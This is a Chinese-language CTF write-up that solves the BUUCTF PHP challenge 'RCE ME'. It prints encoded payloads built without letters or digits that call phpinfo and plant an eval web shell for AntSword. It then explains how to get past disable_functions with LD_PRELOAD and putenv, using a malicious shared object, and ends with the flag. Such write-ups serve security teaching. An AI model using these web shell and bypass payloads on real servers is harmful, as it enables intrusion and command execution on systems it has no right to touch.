题目
在buuctf的练习场内偶然刷到了一道rce题,题目是[极客大挑战 2019]RCE ME 1,源码是这样的
1 | <?php |
目前看来是普通的无数字字母rce,具体绕过方法看http://47.120.45.86/2023/10/18/wordless_and_numberless_rce/
然后生成payload查phpinfo?code=("%0b%08%0b%09%0e%06%0f"^"%7b%60%7b%60%60%60%60")();

发现disable_function禁用了很多函数,但我们还是可以做到连接蚁剑上传文件的操作。
我们让code为assert(eval($_POST[‘1’]);)就可以连上蚁剑,这里不能直接用eval,因为eval并非php函数,所以不能以变量函数的方式调用。
这时候我们需要用到取反绕过,因为异或绕过的话会超出字符长度。脚本为:
1 | <?php |
payload:(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%D6);
然后蚁剑连上

因为有disable_functions的存在,我们没法直接读flag,题目本身的readflag也无法执行,此时就要想办法绕过disable_functions

而有一种绕过方法就是通过LD_PRELOAD与putenv联动的,下面解释一下原理
原理
LD_PRELOAD为一个环境变量,作用是指定一个文件,让此文件在其他文件被调用前最先被调用。具体什么意思呢,举个例子
php里的mail()函数会打开一个新的子进程,进程中会调用一个geteuid()函数,假如我们用c语言创建一个.so文件,里面是自己写的恶意geteuid()函数,再把LD_PRELOAD指向这个.so文件,那么我们在调用mail()函数时,子进程就会前往我们创建的.so文件中去寻找geteuid()函数,即可运行恶意代码。
至于为什么要用c语言呢?因为php的内核就是c语言。
那么思路有了继续做上面那道题。
创建.so文件
1 | #include <stdlib.h> |
然后编译成.so文件
1 | gcc -c -fPIC nebu.c -o nebu.so |
这里要注意一定要用Linux系统编译,因为靶机是Linux系统的,windows系统和Linux系统的编译方式不一样。
然后用蚁剑上传文件
给LD_PRELOAD赋值
然后接下来就是给LD_PRELOAD赋值了,我们可以用putenv()函数,具体如下
1 | <?php |
再把这个文件上传

最后利用index的rce漏洞运行shell.php,构造${_GET}[_](${_GET}[__])即可,用脚本生成取反${~%A0%B8%BA%AB}[_](${~%A0%B8%BA%AB}[__])
然后用include()文件包含shell.php即可运行,paylaod为${~%A0%B8%BA%AB}[_](${~%A0%B8%BA%AB}[__]);&_=assert&__=include(%27/var/tmp/shell.php%27)
再去蚁剑查看,发现realflag已经出现

查看realflag

拿到flag:flag{2d5c9786-4930-49f7-bb1b-1b2239b7a032}